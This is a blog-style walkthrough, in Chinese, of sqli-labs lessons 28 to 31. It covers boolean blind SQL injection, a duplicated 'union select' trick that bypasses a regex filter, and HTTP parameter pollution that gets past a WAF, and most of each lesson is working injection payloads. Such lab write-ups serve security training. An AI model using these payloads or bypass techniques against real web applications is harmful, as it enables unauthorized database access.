sqli-labs通关28-31

1.lesson-28 布尔盲注

过滤了

$id= preg_replace('/[\/\*]/',"", $id);//strip out /*
$id= preg_replace('/[--]/',"", $id);//Strip out --.
$id= preg_replace('/[#]/',"", $id);//Strip out #.
$id= preg_replace('/[ +]/',"", $id);    //Strip out spaces.
//$id= preg_replace('/select/m',"", $id);    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);    //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);    //Strip out UNION & SELECT.

判断注入:

单引号括号注入

?id=1')  and ('1')=('1

关闭了报错,布尔盲注

判断数据库长度:

?id=1') and(length(database())=8)||('

数据库第一个字母

?id=1')and(select (ascii(substr(database(),1,1)))=115)||('

其他步骤看lesson26a

2.lesson28a 布尔或联合注入

过滤了:

只是过滤了union select

i表示不区分大小写

+表示匹配一次或多次

判断注入:

单引号括号注入

没报错,布尔盲注

判断数据库长度:

?id=1') and length(database())=8 and ('1')=('1

判断数据的第一个字符:

id=1') and (select ascii(substr((database()),1,1)))=115 and ('1')=('1

这个地方要注意,使用'闭合也可以,后面注释用and'1'='1或||'或||'1'='1都可以,其他注释符不可以,因为前面会多出一个括号,需要是盲注,应该都可以,时间和布尔

但当使用联合注入时,闭合符号必须正确,不管使用哪一种注释符都不可以

其他步骤参考前面的布尔盲注

union select联合注入

preg_replace('/union\s+select/i',"", $a);

union union select select 绕过正则匹配,从头到尾开始匹配,第一个字符union 加空格匹配上了,下一个字符union没匹配上,从头在开始匹配,第二个union加空格匹配上了后面的select匹配上了,因为第一次已经从union union select select开始匹配的,没成功,它就会继续往下匹配下一个字符,当下一个字符匹配上了,替换后也不会继续union union select select从头开始匹配,所以说就绕过了正则匹配替换

查数据库:

?id=-1') union union  select select 1,database(),3 -- +

其他步骤看前面的题

3.lesson-29 http参数污染的union select

index.php

判断注入:

单引号注入

?id=1'-- +

查数据库:

?id=-1' union select 1,2,database()-- +

以上方法是index.php,这关要访问的应该是login.php

login.php

传入单引号,提示被waf拦截了

使用参数污染绕过了,为单引号注入

?id=1&id=-1' 

查用户:

?id=1&id=-1'union select 1,2,user()-- +

4.lesson-30 http参数污染union select

index.php

判断注入:

双引号注入

?id=1"-- +

查数据库:

?id=-1" union select 1,2,database()-- +

以上方法是index.php,这关要访问的应该是login.php

login.php

传入单引号,提示被waf拦截了

使用参数污染绕过了,为双引号注入

?id=1&id=-1"

查数据库:

?id=1&id=-1" union select 1,2,database()-- +

5.lesson-31 http参数污染的union select

index.php

判断注入:

双引号括号注入

?id=1")-- +

查数据库:

?id=-1") union select 1,2,database()-- +

以上方法是index.php,这关要访问的应该是login.php

login.php

传入单引号,提示被waf拦截了

使用参数污染绕过了,为单引号注入

?id=1&id=-1")-- +

查数据库:

?id=1&id=-1") union select 1,2,user()-- +

posted @ 2023-02-27 19:45  mushangqiujin  阅读(0)  评论(0编辑  收藏  举报  来源